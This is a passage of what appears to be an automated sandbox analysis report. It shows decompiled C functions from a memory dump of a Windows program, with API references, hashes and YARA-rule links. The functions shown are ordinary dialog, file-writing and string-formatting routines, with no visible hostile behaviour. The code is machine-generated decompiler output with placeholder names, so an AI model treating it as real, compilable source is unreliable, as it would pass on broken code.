						if(_t23 != 0) {
							_t30 = 1;
							wcscpy(__esi,  &_v564);
						}
						_t24 = _v8;
						 *((intOrPtr*)( *_t24 + 0x14))(_t24, _t36);
						_t26 = _v8;
						 *((intOrPtr*)( *_t26 + 8))(_t26);
					}
				}
				return _t30;
			}

0x0040ad06
0x0040ad0a
0x0040ad0c
0x0040ad14
0x0040ad19
0x0040ad1f
0x0040ad23
0x0040ad27
0x0040ad2a
0x0040ad2d
0x0040ad34
0x0040ad3b
0x0040ad3e
0x0040ad44
0x0040ad48
0x0040ad4a
0x0040ad52
0x0040ad5a
0x0040ad64
0x0040ad65
0x0040ad6b
0x0040ad6c
0x0040ad73
0x0040ad76
0x0040ad7c
0x0040ad7c
0x0040ad7f
0x0040ad84

APIs

SHGetMalloc.SHELL32(?), ref: 0040AD0C
SHBrowseForFolderW.SHELL32(?), ref: 0040AD3E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040AD52
wcscpy.MSVCRT ref: 0040AD65

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: BrowseFolderFromListMallocPathwcscpy
String ID:
API String ID: 3917621476-0
Opcode ID: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction ID: e4c3f7e47c5e56e8be22c5f757262c1ae757d72ab7f138bc7c026954c7aa5c2b
Opcode Fuzzy Hash: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction Fuzzy Hash: B011FAB5900208EFDB10EFA9D9889AEB7F8FF48300F10416AE905E7240D738DA05CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00404A44, Relevance: 6.0, APIs: 4, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A44(void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				long _v8;
				long _v12;
				long _t13;
				void* _t14;
				struct HWND__* _t24;

				_t24 = GetDlgItem(_a4, _a8);
				_t13 = SendMessageW(_t24, 0x146, 0, 0);
				_v12 = _t13;
				_v8 = 0;
				if(_t13 <= 0) {
					L3:
					_t14 = 0;
				} else {
					while(SendMessageW(_t24, 0x150, _v8, 0) != _a12) {
						_v8 = _v8 + 1;
						if(_v8 < _v12) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					SendMessageW(_t24, 0x14e, _v8, 0);
					_t14 = 1;
				}
				L4:
				return _t14;
			}

0x00404a62
0x00404a6a
0x00404a6e
0x00404a71
0x00404a74
0x00404a92
0x00404a92
0x00404a76
0x00404a76
0x00404a87
0x00404a90
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a90
0x00404aa3
0x00404aa7
0x00404aa7
0x00404a94
0x00404a98

APIs

GetDlgItem.USER32 ref: 00404A52
SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00404A6A
SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00404A80
SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00404AA3

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Item
String ID:
API String ID: 3888421826-0
Opcode ID: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction ID: a803108f18d13bdb161ef9cfeaea96f484be20865a03d7d0c1e8cd60aac843f5
Opcode Fuzzy Hash: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction Fuzzy Hash: 02F01DB1A4010CFEEB018FD59DC1DAF7BBDEB89755F104479F604E6150D2709E41AB64

Uniqueness

Uniqueness Score: -1.00%

Function 004072D8, Relevance: 6.0, APIs: 4, Instructions: 41
filestringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004072D8(void* __ecx, void* __eflags, void* _a4, short* _a8) {
				long _v8;
				void _v8199;
				char _v8200;

				E0040B550(0x2004, __ecx);
				_v8200 = 0;
				memset( &_v8199, 0, 0x1fff);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff,  &_v8200, 0x1fff, 0, 0);
				return WriteFile(_a4,  &_v8200, strlen( &_v8200),  &_v8, 0);
			}

0x004072e0
0x004072f7
0x004072fd
0x00407316
0x00407342

APIs

memset.MSVCRT ref: 004072FD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00407316
strlen.MSVCRT ref: 00407328
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00407339

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction ID: b20814eff52bbcc052d034fa9df9783175f47b69a9638c3bed99c582471ba408
Opcode Fuzzy Hash: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction Fuzzy Hash: E7F0FFB740022CBEEB05A7949DC9DDB776CDB08358F0001B6B715E2192D6749E448BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408DC8, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408DC8(void** __eax, struct HWND__* _a4) {
				int _t7;
				void** _t11;

				_t11 = __eax;
				if( *0x4101b4 == 0) {
					memcpy(0x40f5c8,  *__eax, 0x50);
					memcpy(0x40f2f8,  *(_t11 + 4), 0x2cc);
					 *0x4101b4 = 1;
					_t7 = DialogBoxParamW(GetModuleHandleW(0), 0x6b, _a4, E00408ADB, 0);
					 *0x4101b4 =  *0x4101b4 & 0x00000000;
					 *0x40f2f4 = _t7;
					return 1;
				} else {
					return 1;
				}
			}

0x00408dd0
0x00408dd2
0x00408de2
0x00408df4
0x00408e01
0x00408e1b
0x00408e21
0x00408e28
0x00408e30
0x00408dd4
0x00408dd8
0x00408dd8

APIs

memcpy.MSVCRT ref: 00408DE2
memcpy.MSVCRT ref: 00408DF4
GetModuleHandleW.KERNEL32(00000000), ref: 00408E07
DialogBoxParamW.USER32(00000000,0000006B,?,Function_00008ADB,00000000), ref: 00408E1B

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction ID: 2efff09082e6186f10957894d43819ba35d003f4fc085d6afb87634920226402
Opcode Fuzzy Hash: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction Fuzzy Hash: FAF08231695310BBD7206BA4BE0AB473AA0D700B16F2484BEF241B54E0C7FA04559BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004050E1, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004050E1(wchar_t* __edi, wchar_t* _a4) {
				int _t10;
				int _t12;
				void* _t23;
				wchar_t* _t24;
				signed int _t25;

				_t24 = __edi;
				_t25 = wcslen(__edi);
				_t10 = wcslen(_a4);
				_t23 = _t10 + _t25;
				if(_t23 >= 0x3ff) {
					_t12 = _t10 - _t23 + 0x3ff;
					if(_t12 > 0) {
						wcsncat(__edi + _t25 * 2, _a4, _t12);
					}
				} else {
					wcscat(__edi + _t25 * 2, _a4);
				}
				return _t24;
			}

0x004050e1
0x004050ec
0x004050ee
0x004050f5
0x004050ff
0x00405114
0x00405118
0x00405123
0x00405128
0x00405101
0x00405109
0x0040510f
0x0040512e

APIs

wcslen.MSVCRT ref: 004050E3
wcslen.MSVCRT ref: 004050EE
wcscat.MSVCRT ref: 00405109
wcsncat.MSVCRT ref: 00405123

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcslen$wcscatwcsncat
String ID:
API String ID: 291873006-0
Opcode ID: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction ID: d151cadb35ebc04527c95d650d15a6f00d765f1fde14687ca002c1c28d544fc6
Opcode Fuzzy Hash: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction Fuzzy Hash: 3CE0EC36908703AECB042625AC45C6F375DEF84368B50843FF410E6192EF3DD51556DD

Uniqueness

Uniqueness Score: -1.00%

Function 00402DDD, Relevance: 6.0, APIs: 4, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DDD(struct HWND__* __eax, void* __ecx) {
				void* __edi;
				void* __esi;
				struct HWND__* _t11;
				struct HWND__* _t14;
				struct HWND__* _t15;
				void* _t16;

				_t14 = __eax;
				_t16 = __ecx;
				 *((intOrPtr*)(__ecx + 0x10)) = __eax;
				GetClientRect(__eax, __ecx + 0xa14);
				 *(_t16 + 0xa24) =  *(_t16 + 0xa24) & 0x00000000;
				_t15 = GetWindow(GetWindow(_t14, 5), 0);
				do {
					E00402D99(_t15, _t16);
					_t11 = GetWindow(_t15, 2);
					_t15 = _t11;
				} while (_t15 != 0);
				return _t11;
			}

0x00402de0
0x00402de2
0x00402dec
0x00402def
0x00402dfb
0x00402e0c
0x00402e0e
0x00402e0e
0x00402e16
0x00402e18
0x00402e1a
0x00402e21

APIs

GetClientRect.USER32 ref: 00402DEF
GetWindow.USER32(?,00000005), ref: 00402E07
GetWindow.USER32(00000000), ref: 00402E0A

Part of subcall function 00402D99: GetWindowRect.USER32 ref: 00402DA8
Part of subcall function 00402D99: MapWindowPoints.USER32 ref: 00402DC3

GetWindow.USER32(00000000,00000002), ref: 00402E16

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientPoints
String ID:
API String ID: 4235085887-0
Opcode ID: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction ID: 77c271d885eafffee951e9f606c1c6e1ef1898ae553cc6e200c9330dee891b18
Opcode Fuzzy Hash: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction Fuzzy Hash: B8E092722407006BE22197398DC9FABB2EC9FC9761F11053EF504E7280DBB8DC014669

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A6, Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040B6A6() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t3;
				intOrPtr _t4;

				_t1 =  *0x41c458;
				if(_t1 != 0) {
					_push(_t1);
					L0040B272();
				}
				_t2 =  *0x41c460;
				if(_t2 != 0) {
					_push(_t2);
					L0040B272();
				}
				_t3 =  *0x41c45c;
				if(_t3 != 0) {
					_push(_t3);
					L0040B272();
				}
				_t4 =  *0x41c464;
				if(_t4 != 0) {
					_push(_t4);
					L0040B272();
					return _t4;
				}
				return _t4;
			}

0x0040b6a6
0x0040b6ad
0x0040b6af
0x0040b6b0
0x0040b6b5
0x0040b6b6
0x0040b6bd
0x0040b6bf
0x0040b6c0
0x0040b6c5
0x0040b6c6
0x0040b6cd
0x0040b6cf
0x0040b6d0
0x0040b6d5
0x0040b6d6
0x0040b6dd
0x0040b6df
0x0040b6e0
0x00000000
0x0040b6e5
0x0040b6e6

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040B6B0
??3@YAXPAX@Z.MSVCRT ref: 0040B6C0
??3@YAXPAX@Z.MSVCRT ref: 0040B6D0
??3@YAXPAX@Z.MSVCRT ref: 0040B6E0

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction ID: 3bd5cb9a150004800b4bedd87e83f43d671674f7d7a0a5890c52a9af046e0154
Opcode Fuzzy Hash: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction Fuzzy Hash: 96E00261B8820196DD249A7AACD5D6B239C9A05794314847EF804E72E5DF39D44045ED

Uniqueness

Uniqueness Score: -1.00%

Function 00407362, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00407362(void* __ebx, void* __edx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				wchar_t* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				void* __edi;
				signed int _t39;
				wchar_t* _t41;
				signed int _t45;
				signed int _t48;
				wchar_t* _t53;
				wchar_t* _t62;
				void* _t66;
				intOrPtr* _t68;
				void* _t70;
				wchar_t* _t75;
				wchar_t* _t79;

				_t66 = __ebx;
				_t75 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t39 =  *( *((intOrPtr*)(_t66 + 0x30)) + _v8 * 4);
						_t68 = _a8;
						if(_t68 != _t75) {
							_t79 =  *((intOrPtr*)( *_t68))(_t39,  *((intOrPtr*)(_t66 + 0x60)));
						} else {
							_t79 =  *( *((intOrPtr*)(_t66 + 0x2d4)) + 0x10 + _t39 * 0x14);
						}
						_t41 = wcschr(_t79, 0x2c);
						_pop(_t70);
						if(_t41 != 0) {
							L8:
							_v20 = _t75;
							_v28 = _t75;
							_v36 = _t75;
							_v24 = 0x100;
							_v32 = 1;
							_v16 = 0x22;
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							while(1) {
								_t45 =  *_t79 & 0x0000ffff;
								__eflags = _t45;
								_v12 = _t45;
								_t77 =  &_v36;
								if(__eflags == 0) {
									break;
								}
								__eflags = _t45 - 0x22;
								if(__eflags != 0) {
									_push( &_v12);
									_t48 = 1;
									__eflags = 1;
								} else {
									_push(L"\"\"");
									_t48 = _t45 | 0xffffffff;
								}
								E0040565D(_t48, _t70, _t77, __eflags);
								_t79 =  &(_t79[0]);
								__eflags = _t79;
							}
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							_t53 = _v20;
							__eflags = _t53;
							if(_t53 == 0) {
								_t53 = 0x40c4e8;
							}
							E004055D1(E00407343(_t66, _a4, _t53),  &_v36);
							_t75 = 0;
							__eflags = 0;
						} else {
							_t62 = wcschr(_t79, 0x22);
							_pop(_t70);
							if(_t62 != 0) {
								goto L8;
							} else {
								E00407343(_t66, _a4, _t79);
							}
						}
						if(_v8 <  *((intOrPtr*)(_t66 + 0x2c)) - 1) {
							E00407343(_t66, _a4, ",");
						}
						_v8 = _v8 + 1;
					} while (_v8 <  *((intOrPtr*)(_t66 + 0x2c)));
				}
				return E00407343(_t66, _a4, L"\r\n");
			}

0x00407362
0x00407369
0x0040736e
0x00407371
0x00407378
0x0040737e
0x00407381
0x00407386
0x0040739f
0x00407388
0x00407391
0x00407391
0x004073a4
0x004073ac
0x004073ad
0x004073cd
0x004073d0
0x004073d3
0x004073d6
0x004073e0
0x004073e7
0x004073ee
0x004073f5
0x0040741a
0x0040741a
0x0040741d
0x00407420
0x00407423
0x00407426
0x00000000
0x00000000
0x004073fc
0x00407400
0x0040740f
0x00407412
0x00407412
0x00407402
0x00407402
0x00407407
0x00407407
0x00407413
0x00407419
0x00407419
0x00407419
0x0040742f
0x00407434
0x00407437
0x00407439
0x0040743b
0x0040743b
0x0040744e
0x00407453
0x00407453
0x004073af
0x004073b2
0x004073ba
0x004073bb
0x00000000
0x004073bd
0x004073c3
0x004073c3
0x004073bb
0x0040745c
0x00407468
0x00407468
0x0040746d
0x00407473
0x0040747c
0x0040748e

APIs

wcschr.MSVCRT ref: 004073A4
wcschr.MSVCRT ref: 004073B2

Part of subcall function 0040565D: wcslen.MSVCRT ref: 00405679
Part of subcall function 0040565D: memcpy.MSVCRT ref: 0040569D

Strings

", xrefs: 004073EE

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcschr$memcpywcslen
String ID: "
API String ID: 1983396471-123907689
Opcode ID: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction ID: 00b3f0686b04e7c82e40785714242b478475f00d1c6093d835cc4068bab83974
Opcode Fuzzy Hash: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction Fuzzy Hash: 4E315F31E04208ABDF10EFA5C8819AE7BB9EF54314F20457BEC50B72C2D778AA41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401676, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00401676(void* __ecx, intOrPtr* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v80;
				signed short _v65616;
				void* _t27;
				intOrPtr _t28;
				void* _t34;
				intOrPtr _t39;
				intOrPtr* _t51;
				void* _t52;

				_t51 = __esi;
				E0040B550(0x1004c, __ecx);
				_t39 = 0;
				_push(0);
				_push( &_v8);
				_v8 =  *((intOrPtr*)(_a4 + 0x1c));
				_push(L"Lines");
				_t27 =  *((intOrPtr*)( *__esi))();
				if(_v8 > 0) {
					do {
						_t6 = _t39 + 1; // 0x1
						_t28 = _t6;
						_push(_t28);
						_push(L"Line%d");
						_v12 = _t28;
						_push(0x1f);
						_push( &_v80);
						L0040B1EC();
						_t52 = _t52 + 0x10;
						_push(0x7fff);
						_push(0x40c4e8);
						if( *((intOrPtr*)(_t51 + 4)) == 0) {
							_v65616 = _v65616 & 0x00000000;
							 *((intOrPtr*)( *_t51 + 0x10))( &_v80,  &_v65616);
							_t34 = E004054DF(_a4, _t51,  &_v65616);
						} else {
							_t34 =  *((intOrPtr*)( *_t51 + 0x10))( &_v80, E00405581(_a4, _t39));
						}
						_t39 = _v12;
					} while (_t39 < _v8);
					return _t34;
				}
				return _t27;
			}

0x00401676
0x0040167e
0x0040168a
0x0040168c
0x00401690
0x00401691
0x00401696
0x0040169d
0x004016a2
0x004016aa
0x004016aa
0x004016aa
0x004016ad
0x004016ae
0x004016b3
0x004016b9
0x004016bb
0x004016bc
0x004016c1
0x004016c8
0x004016cd
0x004016ce
0x004016ea
0x004016ff
0x0040170c
0x004016d0
0x004016e3
0x004016e3
0x00401711
0x00401714
0x00000000
0x00401719
0x0040171c

APIs

_snwprintf.MSVCRT ref: 004016BC

Strings

Line%d, xrefs: 004016AE
Lines, xrefs: 00401696

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: Line%d$Lines
API String ID: 3988819677-2790224864
Opcode ID: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction ID: 1021665491e9d2d06496d958327cd8fefc515fbb55266dd5f91e98284186a054
Opcode Fuzzy Hash: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction Fuzzy Hash: 4C110071A00208EFCB15DF98C8C1D9EB7B9EF48704F1045BAF645E7281D778AA458B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040512F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040512F(intOrPtr _a4, intOrPtr _a8, void* _a12) {
				void* _v8;
				void* _v26;
				void _v28;
				void* _t24;
				void* _t25;
				void* _t35;
				signed int _t38;
				signed int _t42;
				void* _t44;
				void* _t45;

				_t24 = _a12;
				_t45 = _t44 - 0x18;
				_t42 = 0;
				 *_t24 = 0;
				if(_a8 <= 0) {
					_t25 = 0;
				} else {
					_t38 = 0;
					_t35 = 0;
					if(_a8 > 0) {
						_v8 = _t24;
						while(1) {
							_v28 = _v28 & 0x00000000;
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosw");
							_push( *(_t35 + _a4) & 0x000000ff);
							_push(L"%2.2X ");
							_push(0xa);
							_push( &_v28);
							L0040B1EC();
							_t38 = _t42;
							memcpy(_v8,  &_v28, 6);
							_t13 = _t42 + 3; // 0x3
							_t45 = _t45 + 0x1c;
							if(_t13 >= 0x2000) {
								break;
							}
							_v8 = _v8 + 6;
							_t35 = _t35 + 1;
							_t42 = _t42 + 3;
							if(_t35 < _a8) {
								continue;
							}
							break;
						}
						_t24 = _a12;
					}
					 *(_t24 + 4 + _t38 * 2) =  *(_t24 + 4 + _t38 * 2) & 0x00000000;
					_t25 = 1;
				}
				return _t25;
			}

0x00405132
0x00405135
0x00405139
0x0040513e
0x00405141
0x004051b3
0x00405143
0x00405145
0x00405147
0x0040514c
0x0040514e
0x00405151
0x00405151
0x0040515b
0x0040515c
0x0040515d
0x0040515e
0x0040515f
0x00405168
0x00405169
0x00405171
0x00405173
0x00405174
0x00405182
0x00405184
0x00405189
0x0040518c
0x00405194
0x00000000
0x00000000
0x00405196
0x0040519a
0x0040519b
0x004051a1
0x00000000
0x00000000
0x00000000
0x004051a1
0x004051a3
0x004051a3
0x004051a6
0x004051af
0x004051b0
0x004051b7

APIs

_snwprintf.MSVCRT ref: 00405174
memcpy.MSVCRT ref: 00405184

Strings

%2.2X , xrefs: 00405169

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction ID: b76e4bbe2d26c53343c630e3245d096d82678977124e835a89109146ed91de65
Opcode Fuzzy Hash: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction Fuzzy Hash: 5A11A532900608BFEB01DFE8C882AAF77B9FB45314F104477ED14EB141D6789A058BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004075BB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E004075BB(void* __ebx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				char _v44;
				intOrPtr _t22;
				signed int _t30;
				signed int _t34;
				void* _t35;
				void* _t36;

				_t35 = __esi;
				_t34 = 0;
				if( *((intOrPtr*)(__esi + 0x2c)) > 0) {
					do {
						_t30 =  *( *((intOrPtr*)(__esi + 0x30)) + _t34 * 4);
						_t22 =  *((intOrPtr*)(_t30 * 0x14 +  *((intOrPtr*)(__esi + 0x40)) + 0xc));
						L0040B1EC();
						_push( *((intOrPtr*)( *_a8))(_t30,  *((intOrPtr*)(__esi + 0x64)),  &_v44, 0x14, L"%%-%d.%ds ", _t22, _t22));
						_push( &_v44);
						_push(0x2000);
						_push( *((intOrPtr*)(__esi + 0x60)));
						L0040B1EC();
						_t36 = _t36 + 0x24;
						E00407343(__esi, _a4,  *((intOrPtr*)(__esi + 0x60)));
						_t34 = _t34 + 1;
					} while (_t34 <  *((intOrPtr*)(__esi + 0x2c)));
				}
				return E00407343(_t35, _a4, L"\r\n");
			}

0x004075bb
0x004075c2
0x004075c7
0x004075ca
0x004075cd
0x004075d8
0x004075e9
0x004075fc
0x00407600
0x00407601
0x00407606
0x00407609
0x0040760e
0x00407619
0x0040761e
0x0040761f
0x00407624
0x00407636

APIs

_snwprintf.MSVCRT ref: 004075E9
_snwprintf.MSVCRT ref: 00407609

Strings

%%-%d.%ds , xrefs: 004075DE

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: %%-%d.%ds
API String ID: 3988819677-2008345750
Opcode ID: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction ID: ecb877ded915dbad8d5af0e436ed4e240226c92ce5a1c47ab2288d53f8dcf9da
Opcode Fuzzy Hash: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction Fuzzy Hash: BC01B931600704AFD7109F69CC82D5A77ADFF48304B004439FD86B7292D635F911DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040507A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040507A(intOrPtr __eax, wchar_t* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				wchar_t* _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				struct tagOFNA _v80;

				_v76 = __eax;
				_v68 = _a4;
				_v64 = 0;
				_v44 = 0;
				_v36 = 0;
				_v32 = _a8;
				_v20 = _a12;
				_v80 = 0x4c;
				_v56 = 1;
				_v52 = __esi;
				_v48 = 0x104;
				_v28 = 0x81804;
				if(GetOpenFileNameW( &_v80) == 0) {
					return 0;
				} else {
					wcscpy(__esi, _v52);
					return 1;
				}
			}

0x00405080
0x00405086
0x0040508b
0x0040508e
0x00405091
0x00405097
0x0040509d
0x004050a4
0x004050ab
0x004050b2
0x004050b5
0x004050bc
0x004050cb
0x004050e0
0x004050cd
0x004050d1
0x004050dc
0x004050dc

APIs

GetOpenFileNameW.COMDLG32(?), ref: 004050C3
wcscpy.MSVCRT ref: 004050D1

Strings

L, xrefs: 004050A4

Memory Dump Source

